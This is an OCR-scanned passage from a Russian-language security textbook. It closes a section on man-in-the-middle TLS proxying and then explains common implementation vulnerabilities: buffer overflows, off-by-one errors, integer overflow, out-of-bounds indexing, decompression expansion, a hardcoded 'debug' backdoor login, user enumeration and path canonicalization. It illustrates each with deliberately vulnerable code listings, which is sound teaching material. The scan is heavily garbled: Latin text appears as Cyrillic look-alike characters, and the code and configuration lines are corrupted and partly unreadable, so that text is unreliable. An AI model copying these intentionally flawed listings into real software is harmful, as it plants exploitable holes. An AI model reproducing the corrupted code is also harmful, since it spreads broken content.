Еггог: Тһе гетофе сегЁіҒісаёе 15 іпуа11а ассогӣіпд Ёо Не уа1ійаїіоп ргоседиге. 


Проблема состоит в том, что хотя мы и добавили сертификат ЦС 
в качестве доверенного корневого сертификата, имя сервера, которое 
во многих случаях указывается как субъект сертификата, недействи- 
тельно для цели вашей атаки. Поскольку мы проксируем соединение, 
имя хоста сервера, например 127.0.0.1, но сгенерированный сертифи- 
кат основан на сертификате исходного сервера. 

Чтобы исправить это, добавьте следующие строки для указания 
имени субъекта для сгенерированного сертификата: 


115 .СопҒід.ЅресіҒуЅегуегСегё = гие; 
15 .СопҒід.ЅегуегСегіҒісаёеѕиьјесё = "С№=127.0.0.1"; 


При повторной попытке клиент должен успешно подключиться 
к прокси-серверу, а затем и к реальному серверу, и весь трафик дол- 
жен быть незашифрованным внутри прокси. 

Можно применить те же изменения к коду сетевого клиента и сер- 
вера в листингах 8.6 и 8.8. Фреймворк гарантирует установку только 
определенных ТГ$-соединений. (Вы даже можете указать клиентские 
сертификаты ТТ5$ в конфигурации для использования при выполне- 
нии взаимной аутентификации, но это сложная тема, которая выхо- 
дит за рамки данной книги.) 

Теперь у вас есть ряд идей относительно того, как использовать 
ТІ5-соединения в ходе атаки «человек посередине». Освоенные ме- 
тоды позволят вам зашифровать и расшифровать трафик для прове- 
дения анализа и тестирования средств безопасности. 


Заключительное слово 


В этой главе были продемонстрированы подходы, которые можно ис- 
пользовать для повторной реализации вашего протокола на основе 
результатов оперативной проверки или обратной разработки реа- 
лизации. Я лишь коснулся этой сложной темы - вас ожидает много 
интересных задач, когда вы будете изучать проблемы безопасности 
в сетевых протоколах. 
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ОСНОВНЫЕ ПРИЧИНЫ 
УЯЗВИМОСТЕЙ 


этой главе описаны распространенные первопричины уяз- 

вимостей, возникающие в результате реализации протокола. 

Они отличаются от уязвимостей, вытекающих из специфика- 
ции протокола (как описано в главе 7). Уязвимость не обязательно 
должна эксплуатироваться напрямую, чтобы считаться таковой. Она 
может ослабить безопасность протокола и упростить выполнение 
других атак или позволить получить доступ к более серьезным уяз- 
вимостям. 

Прочитав эту главу, вы начнете видеть закономерности в прото- 
колах, которые помогут вам выявить уязвимости в системе безопас- 
ности во время анализа. (Я не буду обсуждать, как эксплуатировать 
разные классы до главы 10.) Предполагается, что вы исследуете про- 
токол, используя все доступные вам средства, включая анализ сете- 
вого трафика, обратную разработку двоичных файлов приложения, 
проверку исходного кода и ручное тестирование клиента и серверов 
для определения реальных уязвимостей. Некоторые уязвимости всег- 
да будет легче найти с помощью таких методов, как фаззинг (метод, 
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с помощью которого данные сетевого протокола изменяются для вы- 
явления проблем), а другие можно найти, просмотрев код. 


Классы уязвимостей 


Когда вы имеете дело с уязвимостями в системе безопасности, по- 
лезно классифицировать ИХ В набор отдельных классов для оценки 
рисков, связанных с эксплуатацией уязвимости. В качестве примера 
рассмотрим уязвимость, которая позволяет скомпрометировать си- 
стему, в которой запущено приложение. 


Удаленное выполнение кода 


Удаленное выполнение кода - это собирательный термин для обозна- 
чения любой уязвимости, которая позволяет злоумышленнику за- 
пускать произвольный код в контексте приложения, реализующего 
протокол. Это может произойти из-за взлома логики приложения 
или влияния на командную строку подпроцессов, созданных во вре- 
мя обычной работы. 

Такие уязвимости обычно наиболее критичны с точки зрения 
безопасности, поскольку позволяют злоумышленнику скомпромети- 
ровать систему, в которой выполняется приложение. Так злоумыш- 
ленник может получить доступ ко всему, к чему может получить до- 
ступ приложение, и даже взломать хостинговую сеть. 


Отказ в обслуживании 


Обычно приложения предназначены для предоставления сервиса. 
Если существует уязвимость, которая при эксплуатации приводит 
к сбою приложения или его зависанию, злоумышленник может ис- 
пользовать ее, чтобы запретить полноправным пользователям до- 
ступ к определенному приложению и предоставляемой им службе. 
Уязвимости, которую обычно называют отказ в обслуживании, требу- 
ется небольшое количество ресурсов, иногда достаточно всего лишь 
одного сетевого пакета, чтобы вывести из строя все приложение. Без 
сомнения, в чужих руках это может стать вредоносным оружием. 

Можно классифицировать уязвимости типа «отказ в обслужива- 
нии» как постоянные или непостоянные. Постоянная уязвимость все 
время препятствует доступу полноправных пользователей к службе 
(по крайней мере, до тех пор, пока администратор не исправит проб- 
лему). Причина состоит в том, что ее эксплуатация приводит к по- 
вреждению сохраненного состояния, которое обеспечивает сбой при- 
ложения при его перезапуске. Непостоянная уязвимость существует 
только до тех пор, пока злоумышленник отправляет данные, вызы- 
вающие отказ в обслуживании. Обычно если приложению разрешено 
выполнить перезапуск самостоятельно или ему дано достаточно вре- 
мени, то служба будет восстановлена. 
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Утечка информации 


Многие приложения представляют собой черные ящики, которые 
обычно предоставляют только определенную информацию по сети. 
Утечка информации возникает, если есть способ заставить прило- 
жение предоставить информацию, которая изначально не предна- 
значена для посторонних глаз, например содержимое памяти, пути 
к файловой системе или учетные данные для аутентификации. Та- 
кие сведения могут быть полезны злоумышленнику, поскольку мо- 
гут способствовать дальнейшей эксплуатации. Например, подобная 
информация может раскрывать местонахождение важных структур 
в памяти, что может помочь при удаленном выполнении кода. 


Обход аутентификации 


Многие приложения требуют, чтобы пользователи предоставили 
учетные данные для проверки подлинности, дабы получить полный 
доступ к приложению. Действительными учетными данными могут 
быть имя пользователя и пароль или более сложная проверка, напри- 
мер криптографически безопасный обмен. Аутентификация ограни- 
чивает доступ к ресурсам, но также может уменьшить поверхность 
атаки приложения, если злоумышленник не прошел аутентификацию. 

Такого рода уязвимость возникает в приложении, если существу- 
ет способ пройти аутентификацию без предоставления всех учетных 
данных. Например, приложение неправильно проверяет пароль, по- 
тому что сравнивает простую контрольную сумму пароля, которую 
легко подобрать. Или же это может быть связано с более сложными 
проблемами, такими как внедрение 5ОГ-кода (о нем речь пойдет да- 
лее в разделе «Внедрение 5ОГ-кода»). 


Обход авторизации 


Не все пользователи созданы равными. Приложения могут поддер- 
живать разные типы пользователей. Например, это могут быть поль- 
зователи, имеющие полномочия только на чтение, пользователи 
с низкими привилегиями или администраторы, и во всех этих слу- 
чаях используется один и тот же интерфейс. Если приложение пре- 
доставляет доступ к таким ресурсам, как файлы, то ему необходимо 
ограничить доступ к ним на основе аутентификации. Чтобы разре- 
шить доступ к защищенным ресурсам, процесс авторизации должен 
быть встроен для определения, какие права назначены пользователю 
и к каким ресурсам у него есть доступ. 

Обход авторизации возникает, когда злоумышленник может полу- 
чить дополнительные права или доступ к ресурсам, доступа к кото- 
рым у него нет. Например, злоумышленник может изменить пользо- 
вателя, прошедшего аутентификацию, или привилегии пользователя 
напрямую, или протокол может неправильно проверять полномочия 
пользователей. 


246 глава 9 


Не путайте обход авторизации с обходом аутентифика- 
ции. Основное различиемежду ними состоит в том, что обход аутентифи- 
кации позволяет пройти аутентификацию как конкретный пользователь 
с точки зрения системы; обход авторизации позволяет злоумышленнику 
получить доступ к ресурсу из неправильного состояния аутентификации 
(ана самом деле никакой аутентификации может и не быть). 


Определив классы уязвимостей, давайте посмотрим на их причи- 
ны более подробно и исследуем структуры протоколов, в которых вы 
их найдете. Каждый тип основной причины содержит список возмож- 
ных классов уязвимостей, к которым это может привести. Хотя это не 
полный список, я расскажу о тех уязвимостях, с которыми вы, скорее 
всего, сталкиваетесь регулярно. 


Уязвимости повреждения памяти 


Если вы выполняете какой-либо анализ, то повреждение памяти, – 
скорее всего, основная уязвимость в системе безопасности, С которой 
вы столкнетесь. Приложения хранят свое текущее состояние в памяти, 
и если память повреждена контролируемым образом, результат может 
вызвать любой класс уязвимости системы безопасности. Такие уязви- 
мости могут просто вызвать сбой приложения (что приведет к отказу 
В обслуживании) или быть более опасными, они могут позволить зло- 
умышленнику запустить исполняемый код на целевой системе. 


Безопасные и небезопасные языки программирования 
с точки зрения доступа к памяти 


Уязвимости повреждения памяти, в значительной степени зависят 
от языка программирования, на котором было разработано прило- 
жение. Когда дело доходит до повреждения памяти, самое большое 
различие между языками связано с тем, является ли язык (и его окру- 
жение размещения) безопасным или небезопасным с точки зрения до- 
ступа к памяти. Безопасные языки, такие как Јауа, С #, Рупоп и ВиБу, 
обычно не требуют, чтобы разработчик имел дело с низкоуровневым 
управлением памятью. Иногда они предоставляют библиотеки или 
конструкции для выполнения небезопасных операций (например, 
ключевое слово ипзае в С#). Но использование этих библиотек или 
конструкций требует от разработчиков делать это явно, что позволя- 
ет проводить аудит с точки зрения безопасности. Безопасные с точки 
зрения доступа к памяти языки также обычно выполняют проверку 
границ для доступа к буферу в памяти, чтобы предотвратить опера- 
ции чтения и записи за пределами границ. Тот факт, что язык безопа- 
сен с точки зрения доступа к памяти, не означает, что он полностью 
невосприимчив к повреждению памяти. Однако такое нарушение, 
скорее всего, будет ошибкой в среде выполнения языка, а не ошибкой, 
допущенной разработчиком. 
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С другой стороны, небезопасные с точки зрения доступа к памяти 
языки, такие как С и С++, выполняют совсем небольшую проверку до- 
ступа к памяти и лишены надежных механизмов для автоматическо- 
го управления ею. В результате может произойти множество типов 
повреждения памяти. Насколько эксплуатируемыми являются эти 
уязвимости, зависит от операционной системы, используемого ком- 
пилятора и структуры приложения. 

Повреждение памяти - одна из самых старых и наиболее извест- 
ных первопричин уязвимостей; поэтому были предприняты значи- 
тельные усилия для их устранения. (Я расскажу о некоторых страте- 
гиях более подробно в главе 10, где обсуждается, как использовать эти 
уязвимости.) 


Переполнение буфера 


Возможно, самая известная уязвимость повреждения памяти, - это 
переполнение буфера. Она возникает, когда приложение пытается по- 
местить в область памяти больше данных, чем было спроектировано 
для хранения. Переполнение буфера можно использовать для запуска 
произвольных программ или обхода ограничений безопасности, та- 
ких как контроль доступа пользователей. На рис. 9.1 показано прос- 
тое переполнение буфера, вызванное входными данными, которые 
слишком велики для выделенного буфера, что приводит к поврежде- 
нию памяти. 


= Выделенный буфер —————— ә =<=——— Повреждение ————— 


—— Буфер ввода ——- 


Рис. 9.1. Повреждение памяти при переполнении буфера 


Переполнение буфера может происходить по одной из двух причин: 
обычно называют переполнение буфера фиксированной длины, когда 
приложение ошибочно предполагает, что входной буфер умещается 
в выделенный буфер. Переполнение буфера переменной длины проис- 
ходит из-за неправильного вычисления размера выделенного буфера. 


Переполнение буфера фиксированной длины 


Безусловно, самое простое переполнение буфера происходит, когда 
приложение неправильно проверяет длину значения внешних дан- 
ных относительно буфера фиксированной длины в памяти. Этот бу- 
фер может находиться в стеке, для него может быть выделено место 
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в куче или он может быть глобальным буфером, определенным во вре- 
мя компиляции. Ключевой момент состоит в том, что длина памяти 
определяется до того, как будет известна фактическая длина данных. 

Причина переполнения зависит от приложения. Но дело может 
быть и в том, что приложение не проверяет длину вообще или делает 
это неправильно. Пример приведен в листинге 9.1: 


Листинг 9.1. Простое переполнение буфера фиксированной длины 


деҒ геаа ѕёгіпо() 


{ 
Ө Буѓе 51г[32]; 

ЕТ = 0; 

ао 

{ 

Ө с51г[1] = геаа Буїе(); 

1= і +1; 
} 


Ө мһіЛе(ѕїг[1-1] != 0); 
ргіпЕғ("Аеаа 5Егіпд: %5\п", ѕїг); 
} 


Здесь мы сначала выделяем буфер, в котором будем хранить строку 
(в стеке) и 32 байта данных Ө. Затем переходим в цикл, который счи- 
тывает байт из сети и сохраняет его в буфере, используя инкремент Ө. 
Цикл завершается, когда последний байт, считанный из сети, равен 
нулю. Это указывает на то, что значение было отправлено Ө. 

В данном случае разработчик допустил ошибку: цикл не проверяет 
текущую длину Ө и, следовательно, считывает столько данных, сколь- 
ко доступно из сети, что приводит к повреждению памяти. Конечно, 
эта проблема связана с тем, что языки программирования, являющи- 
еся небезопасными с точки зрения доступа к памяти, не выполняют 
проверку границ массивов. Эту уязвимость очень просто эксплуати- 
ровать, если у вас нет средств защиты компилятора, таких как соок- 
1е-файлы стека для обнаружения повреждений. 

Даже если разработчик выполняет проверку длины, эта проверка 
может быть выполнена неправильно. Без автоматической проверки 
границ разработчик должен проверить все операции чтения и запи- 
си. В листинге 9.2 показана исправленная версия листинга 9.1, где 
учитываются строки, которые длиннее, чем размер буфера. Тем не 
менее даже после исправления в коде таится уязвимость. 


Листинг 9.2. Переполнение буфера с ошибкой на единицу 


деҒ геаа ѕгіпд_Ғіхеа() 


{ 
Ө Буѓе 51г[32]; 
ЧЕ = 0; 
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ао 


{ 
Ө с51г[1] = геаа Буїе(); 
= 
} 


Ө мһіЛе((ѕЕг[1-1] != 0) 88 (1 < 32)); 


/* Гарантируем надлежащее завершение строкового буфера */ 
Ө ѕ1г[1] = 0; 


ргіпЕ("Аеаа 5Егіпод: %5\п", ѕїг); 
} 


Небезопасные строковые функции 


Язык программирования С не определяет строковый тип дан- 
ных. Вместо этого он использует указатели на список символь- 
ных типов. Конец строки обозначается нулевым символом. Это 
не является прямой проблемой безопасности. Однако когда раз- 
рабатывались встроенные библиотеки для работы со строками, 
безопасность не учитывалась. Следовательно, многие из этих 
строковых функций очень опасны для использования в крити- 
чески важном с точки зрения безопасности приложении. 


Чтобы понять, насколько опасными могут быть эти функции, 
рассмотрим пример с использованием $*гсру, функции, копи- 
рующей строки. Она принимает только два аргумента: указа- 
тель на исходную строку и указатель на буфер памяти, где будет 
храниться копия. Обратите внимание: ничто не указывает на 
длину этого буфера. И как вы уже видели, небезопасный с точки 
зрения доступа к памяти язык, например С, не отслеживает раз- 
меры буфера. Если программист попытается скопировать стро- 
ку, которая длиннее буфера назначения, особенно если она из 
внешнего ненадежного источника, то произойдет повреждение 
памяти. 


Более свежие компиляторы С и стандарты языка добавили более 
безопасные версии этих функций, такие как ѕЁгсру 5, которая 
добавляет аргумент длины. Но если приложение использует ста- 
рую строковую функцию, например ѕігсру, {гсае или ѕргіпі?, 
то велика вероятность серьезного повреждения памяти. 


Как и в листинге 9.1 (пункты ® и Ө), мы выделяем буфер с фикси- 
рованным стеком и считываем строку в цикле. Первое различие - это 
пункт Ө. Разработчик добавил проверку, чтобы быть уверенным в вы- 
ходе из цикла, если он уже прочитал 32 байта, максимум, который мо- 
жет вместить буфер стека. К сожалению, чтобы гарантировать надлежа- 
щее завершение строкового буфера, в последнюю доступную позицию 
в буфере записывается нулевой байт Ө. На данный момент значение і 
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равно 32. Но поскольку такие языки, как С, начинают индексирование 
буфера с 0, фактически это означает, что он запишет 0 в 33-й элемент 
буфера, а это приведет к повреждению, как показано на рис. 9.2. 


—— Выделенный буфер —————^—^—^—^—\»®ж 


ѕіг[0] ѕг[30] ѕ1г[32] 


Рис. 9.2. Повреждение памяти с ошибкой на единицу 


Это приводит к появлению ошибки на единицу (из-за сдвига по- 
ЗИЦИИ индекса), распространенной в языках, небезопасных с точки 
зрения доступа к памяти, с индексированием буфера с нуля. Если пе- 
резаписанное значение является важным, например если это адрес 
возврата функции, — эту уязвимость можно эксплуатировать. 


Переполнение буфера переменной длины 


Приложению не обязательно использовать буферы фиксированной 
длины для сохраненных данных протокола. В большинстве случаев 
приложение может выделить буфер правильного размера для со- 
храненных данных. Однако если приложение неправильно рассчи- 
тает размер, может произойти переполнение буфера переменной 
длины. 

Поскольку длина буфера вычисляется во время выполнения на ос- 
нове длины данных протокола, может показаться, что переполнение 
буфера переменной длины вряд ли будет реальной уязвимостью. Но 
существует несколько способов ее появления. Во-первых, приложе- 
ние может просто неправильно вычислить длину буфера. (Приложе- 
ния нужно тщательно тестировать до того, как они станут общедо- 
ступными, но такое происходит не всегда.) 

Более серьезная проблема возникает, если вычисление вызывает 
неопределенное поведение языка или платформы. Например, в лис- 
тинге 9.5 показан распространенный способ неправильного вычис- 
ления длины. 


Листинг 9.3. Неправильное вычисление длины 


де геаа џіпЁ32_аггау() 
{ 


џіпі32 Леп; 
иіп32[] Боғ; 


1] Считываем количество слов из сети 
Ө Пеп = геай џіпі32(); 
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// Выделяем буфер памяти 
Ө Ы = паПос(Теп * 51геоЁ(иіпЕ32)); 


// Считываем значения 
Ғог(иіпЁ32 і = 0; 1 < Леп; ++1) 


{ 
© Би [1] = геад_и1п{32(); 
} 
ргіпЕ("Аеаа іп %Ч џіп32 ма1џеѕ\п", 1еп); 
} 


Здесь буфер памяти динамически выделяется во время выполне- 
ния, чтобы вместить общий размер входных данных из протокола. 
Сначала мы считываем 32-битное целое число, которое используется 
для определения количества следующих 32-битных значений в про- 
токоле Ө. Затем мы определяем общий размер выделения и выделя- 
ем буфер соответствующего размера Ө. Наконец, мы запускаем цикл, 
который считывает каждое значение из протокола в выделенный бу- 
фер Ө. 

Что могло пойти не так? Чтобы ответить на этот вопрос, посмотрим 
на целочисленное переполнение. 


Целочисленное переполнение 


На уровне команд процессора целочисленные арифметические опе- 
рации обычно выполняются с использованием модульной арифмети- 
ки. Модульная арифметика позволяет «обернуть» значения, если они 
превышают определенное значение, которое называется модулем. 
Процессор использует модульную арифметику, если поддерживает 
только определенный собственный целочисленный размер, напри- 
мер 52 или 64 бита. Это означает, что результат любой арифмети- 
ческой операции всегда должен находиться в пределах, допустимых 
для целочисленного значения фиксированного размера. Например, 
8-битное целое число может принимать только значения от 0 до 255; 
оно не может представлять другие значения. На рис. 9.3 показано, что 
происходит, когда вы умножаете значение на 4. Это приводит к пере- 
полнению целого числа. 


Старший бит Младший бит 


х4 01000001 Исходная длина: 0х41 
00000100 Переполненная длина: 0х104 
= 00000100 Длина выделения: 0х04 


Рис. 9.3. Простое целочисленное переполнение 


Хотя на этом рисунке для краткости показаны 8-битные целые 
числа, та же логика применима к 52-битным целым числам. Когда мы 
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умножаем исходную длину 0х41, или 65, на 4, результат будет 0х104, 
или 260. Этот результат не может поместиться в 8-битное целое чис- 
ло с диапазоном от 0 до 255. Таким образом, процессор отбрасывает 
переполненный бит (или, что более вероятно, хранит его в специ- 
альном флаге, указывающем на то, что произошло переполнение), 
и в результате мы получим значение 4, а не то, что ожидали. Про- 
цессор может выдать ошибку, чтобы указать на то, что произошло 
переполнение, но языки программирования, небезопасные с точки 
зрения доступа к памяти, обычно игнорируют такого рода ошибки. 
Фактически процесс обертывания целочисленного значения исполь- 
зуется в таких архитектурах, как х86, для обозначения подписанного 
результата операции. Языки более высокого уровня могут указывать 
на ошибку или могут вообще не поддерживать целочисленное пе- 
реполнение, например путем увеличения размера целого числа по 
запросу. 

Вернемся к листингу 9.3. Здесь видно, что если злоумышленник 
предоставит подходящим образом выбранное значение для длины 
буфера, то умножение на 4 приведет к переполнению. В результате 
для памяти выделяется меньшее количество, чем передается по сети. 
Когда значения считываются из сети и вставляются в выделенный бу- 
фер, парсер использует исходную длину. Поскольку исходная длина 
данных не соответствует размеру выделения, значения будут записа- 
ны вне буфера, вызывая повреждение памяти. 


Что произойдет, если выделить нулевые байты? 


Рассмотрим, что происходит, когда мы вычисляем длину выде- 
ления, равную 0 байт. Будет ли выделение неуспешным, потому 
что вы не можете выделить буфер нулевой длины? Как и в случае 
со многими проблемами втаких языках, как С, реализация долж- 
на определять, что происходит (ужасное поведение, определя- 
емое реализацией). В случае функции распределителя, па 1ос, 
передача нуля в качестве запрошенного размера может вернуть 
ошибку или буфер неопределенного размера, что вряд ли вселя- 
ет уверенность. 


Индексирование буфера за пределами границ 


Вы уже видели, что небезопасные с точки зрения доступа к памяти 
языки не выполняют проверки границ. Но иногда уязвимость возни- 
кает из-за неправильного размера буфера, что приводит к повреж- 
дению памяти. Индексирование за пределами границ происходит 
по другой основной причине: вместо неверного указания размера 
значения данных, у нас будет контроль над позицией в буфере, к ко- 
торому мы будем обращаться. Если для позиции доступа проверка 
границ выполнена неверно, значит, уязвимость существует. Во мно- 
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гих случаях ее можно эксплуатировать для записи данных вне буфе- 
ра, что приводит к выборочному повреждению памяти, или путем 
чтения значения за пределами буфера, что может привести к утечке 
информации или даже удаленному выполнению кода. В листинге 9.4 
показан пример, использующий первый случай - запись данных вне 
буфера. 


Листинг 9.4. Запись в индекс буфера, выходящий за границы 


Ө Буе арр Ғ.а95[32]; 


деҒ ирдаёе Ғад ма1џе() 


{ 
Ө Буїе іпӣех = геай Буїе(); 
Буе уа\ие = геад_Бу*е(); 


ргіп("Игііпо %9 ёо іпдех %0\п", уа1џе, іпаех); 


Ө арр Ғ.адѕ[іпех] = уа\ше; 
} 


В этом коротком примере показан протокол с общим набором фла- 
гов, который клиент может обновить. Возможно, он предназначен для 
управления определенными свойствами сервера. Листинг определяет 
фиксированный буфер из 32 флагов ®. Он считывает байт из сети, ко- 
торый будет использовать в качестве индекса Ө (с диапазоном от 0 до 
255 возможных значений), а затем записывает байт в буфер флага ®. 
Уязвимость в данном случае должна быть очевидна: злоумышленник 
может указать значения вне диапазона от 0 до 32 с индексом, что при- 
ведет к выборочному повреждению памяти. 

Индексирование за пределами допустимого диапазона не должно 
ограничиваться только записью. Оно также работает, когда значения 
считываются из буфера с неправильным индексом. Если бы индекс 
использовался для чтения значения и возврата его клиенту, это была 
бы простая уязвимость, облегчающая утечку информации. 

При использовании индекса может возникнуть особенно серьез- 
ная уязвимость для определения функций в приложении для запуска. 
Это может быть что-то простое, например использование иденти- 
фикатора команды в качестве индекса, который обычно программи- 
руется путем сохранения указателей памяти на функции в буфере. 
Затем индекс применяется для поиска функции, используемой для 
обработки указанной команды из сети. Индексирование за преде- 
лами границ приведет к чтению неожиданного значения из памя- 
ти, которое будет интерпретировано как указатель на функцию. Эта 
проблема может легко привести к удаленному выполнению кода. Как 
правило, все, что требуется, - это найти значение индекса, которое 
при чтении как указатель функции приведет к передаче выполнения 
кода в адрес памяти, который злоумышленник может с легкостью 
контролировать. 
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Атака расширения данных 


Даже современные высокоскоростные сети сжимают данные, чтобы 
уменьшить количество отправляемых необработанных октетов, для 
повышения производительности за счет сокращения времени пере- 
дачи данных или для снижения затрат на полосу пропускания. В ка- 
кой-то момент эти данные должны быть распакованы, и если сжатие 
выполняется приложением, возможно осуществление атаки расши- 
рения данных, как показано в листинге 9.5. 


Листинг 9.5. Пример кода, уязвимого для атаки расширения данных 


\014 геай сотргеѕѕей Би Рег() 


{ 
Буе Бо#[]; 
џіпі32 Леп; 
Е = 0; 


[/ Чтение распакованного размера 
Теп = геад џіпї32(); 


[/ Выделение буфера памяти 
Боғ = паДос(1еп); 


9271р десотргеѕѕ даёа(БиғҒ) 


ргіпЕ("Ресотргеѕѕей іп %4 Буёеѕ\п", Теп); 


Здесь сжатые данные стоят в начале с общим размером распако- 
ванных данных. Размер считывается из сети Ө и используется для 
выделения необходимого буфера Ө. После этого выполняется вызов 
для распаковки данных в буфер Ө с использованием алгоритма по- 
токовой передачи, такого как тір. Код не проверяет распакованные 
данные, чтобы увидеть, действительно ли они помещаются в выде- 
ленный буфер. 

Конечно, здесь дело не ограничивается сжатием. Любой процесс 
преобразования данных, будь то шифрование, сжатие или преобразо- 
вание кодировки текста, может изменить размер данных и привести 
к подобной атаке. 


Сбой при динамическом выделении памяти 


Системная память ограничена, и когда пул памяти иссякает, пул ди- 
намического выделения памяти должен обрабатывать ситуации, в ко- 
торых приложению требуется больше. В языке С это обычно приводит 
к возврату ошибочного значения из функций выделения (обычно это 
указатель МЛ); в других языках это может привести к завершению 
работы окружения или генерации исключения. 
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Несколько возможных уязвимостей могут возникнуть из-за не- 
правильной обработки сбоя при динамическом выделении памяти. 
Наиболее очевидной является сбой приложения, который может при- 
вести к отказу в обслуживании. 


Учетные данные, используемые по умолчанию 
или вшитые в код 


При развертывании приложения, использующего аутентификацию, 
учетные данные по умолчанию обычно добавляются как часть про- 
цесса установки. Обычно с этими учетными записями связаны имя 
пользователя и пароль по умолчанию. Значения по умолчанию соз- 
дают проблему, если администратор, развертывающий приложение, 
не выполнит повторную настройку учетных данных для этих учетных 
записей, перед тем как сделать службу доступной. 

Более серьезная проблема возникает, когда учетные данные вшиты 
в код, И это можно изменить, только если создать приложение заново. 
Такие учетные данные могли быть добавлены в целях отладки во вре- 
мя разработки и не удалены перед выходом окончательной версии. 
Или это может быть преднамеренный бэкдор, который добавили со 
злым умыслом. В листинге 9.6 показан пример аутентификации, где 
используются учетные данные, вшитые в код. 


Листинг 9.6. Пример учетных данных по умолчанию 


деҒ ргосеѕѕ аџёћепЁісаёіоп() 


{ 
Ө сігіп иѕегпате = геаа ѕёгіпо(); 
ЅѕЁгіпд раѕѕмогӣ = геаа ѕёгіпо(); 


// Проверка на предмет наличия пользователя еБид. Не забудьте удалить его 

// перед выпуском 
Ө і#(иѕегпате == "деБид") 

{ 

гефигп Ёгие; 

} 

е1ѕе 

{ 

Ө геїигп сһеск иѕег раѕѕмога(иѕегпате, раѕѕиога); 

} 
} 


Приложение сначала считывает имя пользователя и пароль из сети 
Ө, а затем выполняет проверку на предмет наличия вшитого в код 
имени пользователя, аери Ө.Если приложение обнаруживает этоимя, 
то автоматически проходит процесс аутентификации; в противном 
случае выполняется обычный процесс проверки. Чтобы использовать 
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такое имя пользователя по умолчанию, все, что вам нужно сделать, – 
это выполнить вход как пользователь аериг. В реальном приложении, 
возможно, все будет не так просто. При выполнении входа система 
может потребовать, чтобы у вас был принятый исходный ІР-адрес, от- 
править магическую строку в приложение перед входом ит. д. 


Перечисление пользователей 


Большинство механизмов аутентификации, ориентированных на 
пользователя, используют имена пользователей для управления до- 
ступом к ресурсам. Обычно это имя пользователя сочетается с токе- 
ном, например паролем для завершения аутентификации. Личность 
пользователя не обязательно должна быть тайной: часто имена поль- 
зователей - это адреса электронной почты, которые можно найти 
в открытом доступе. 

У запретов есть свои преимущества, особенно когда вы не даете 
пользователям, не прошедшим аутентификацию, получить доступ 
к информации. При идентификации действительных учетных запи- 
сей пользователей существует вероятность, что злоумышленник мо- 
жет воспользоваться методом полного перебора, чтобы подобрать 
пароли. Следовательно, любая уязвимость, раскрывающая существо- 
вание действительных имен пользователей или предоставляющая 
доступ к списку пользователей, - это проблема, которую стоит опре- 
делить. Уязвимость, раскрывающая существование пользователей, 
показана в листинге 9.7. 


Листинг 9.7. Раскрываем существование пользователей в приложении 


йеҒ ргосеѕѕ_ аџёћепіісаёіоп() 


{ 


ѕігіпд изегпаме = геай ѕЁгіпо(); 
ѕігіпд раѕѕмогӣ = геай ѕЁгіпо(); 


Ө іғ(иѕег ехіѕ < (иѕегпате) == Ға1ѕе) 


{ 


Ө игіїе еггог("ѕег 


} 


е1ѕе 
{ 
Ө 1іғ(сһеск иѕег раѕѕмогӣ(иѕегпате, раѕѕмога)) 


{ 


мг е_зиссе$$("Цзег 0К"); 


1 


е1ѕе 
Ө мгіёе еггог("Џѕег " + изегпате " раѕѕмога іпсоггесё"); 


+ узегпаме " доезп'{ ехіѕ#"); 


} 
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Вэтом листинге показан простой процесс аутентификации, при ко- 
тором имя пользователя и пароль считываются из сети. Сначала мы 
проверяем наличие пользователя ®; если пользователя не сущест- 
вует, возвращается ошибка Ө. Если пользователь существует, то мы 
проверяем, есть ли пароль для этого пользователя. Опять же, если мы 
потерпим неудачу, записывается ошибка ®. Вы заметите, что два со- 
общения об ошибках Ө и Ө различаются в зависимости от того, су- 
ществует ли пользователь или верен только пароль. Этой информации 
достаточно, чтобы определить, какие имена пользователей являются 
действительными. 

Зная имя пользователя, злоумышленник может с легкостью подо- 
брать действительные учетные данные для аутентификации. (Гораздо 
проще угадать только пароль, чем пароль и имя пользователя.) Зная 
имя пользователя, злоумышленник также может иметь достаточно 
информации для проведения успешной атаки с использованием ме- 
тодов социальной инженерии, убедив пользователя раскрыть свой 
пароль или другую конфиденциальную информацию. 


Неправильный доступ к ресурсам 


Протоколы, обеспечивающие доступ к ресурсам, такие как НТТР или 
другие протоколы обмена файлами, используют идентификатор ре- 
сурса, к которому вы хотите получить доступ. Этот идентификатор 
может быть путем к файлу или другим уникальным идентификато- 
ром. Приложение должно разрешить этот идентификатор, чтобы по- 
лучить доступ к целевому ресурсу. В случае успеха осуществляется 
доступ к содержимому ресурса; в противном случае протокол выдает 
ошибку. 

Некоторые уязвимости могут повлиять на такие протоколы при 
обработке идентификаторов ресурсов. Стоит протестировать все 
возможные уязвимости, внимательно наблюдая за ответом от при- 
ложения. 


Канонизация 


Если идентификатор ресурса представляет собой иерархический спи- 
сок ресурсов и каталогов, то обычно он называется путем. Как пра- 
вило, операционные системы определяют способ указания информа- 
ции об относительном пути - это использование двух точек (..) для 
обозначения связи с родительским каталогом. Прежде чем к файлу 
можно будет получить доступ, ОС должна найти его, используя ин- 
формацию об относительном пути. Если говорить об очень простом 
протоколе для обмена файлами, то можно было бы взять путь, предо- 
ставленный удаленным пользователем, связать его с базовым ката- 
логом и передать его непосредственно в ОС, как показано в листин- 
ге 9.8. Данная уязвимость известна как канонизация. 


258 глава 9 


Листинг 9.8. Канонизация 


деҒ зепд ҒіЛе о с1іепё() 
{ 


ѕігіпд пате = геаа ѕЁгіпо(); 
1] Объединяем имя клиента с базовым путем 
ѕігіпд РиРаЕН = "/Ғ\Леѕ" + папе; 


іп 19 = ореп(Ғи11Раєћ, ВЕАБОМУ); 


[/ Чтение файла в память 
Буе даёа[] геаа Ёо епа(#а); 


// Отправка файла клиенту 
мгіёе Буёеѕ (даа, 1еп(даїа)); 


Здесь мы считываем строку из сети, которая представляет имя фай- 
ла для доступа Ө. Затем эта строка объединяется с фиксированным 
базовым путем в полный путь Ө, чтобы разрешить доступ только 
к ограниченной области файловой системы. После этого файл откры- 
вается операционной системой Ө, и если путь содержит относитель- 
ные компоненты, они разрешаются. Наконец, файл считывается в па- 
мять Ө и возвращается клиенту Ө. 

Если вы найдете код, который выполняет ту же последовательность 
операций, вы обнаружили канонизацию. Злоумышленник может от- 
править относительный путь, разрешенный ОС, файлу за пределами 
базового каталога, что приведет к раскрытию конфиденциальных 
файлов, как показано на рис. 9.4. 

Даже если приложение выполняет проверку пути перед его от- 
правкой в ОС, оно должно правильно соответствовать тому, как ОС 
будет интерпретировать строку. Например, в М1сгозой У/іпаомѕ сим- 
волы обратной косой черты (\) и прямой косой черты (/) допустимы 
в качестве разделителей пути. Если приложение выполняет проверку 
только на предмет наличия обратной косой черты, стандартной для 
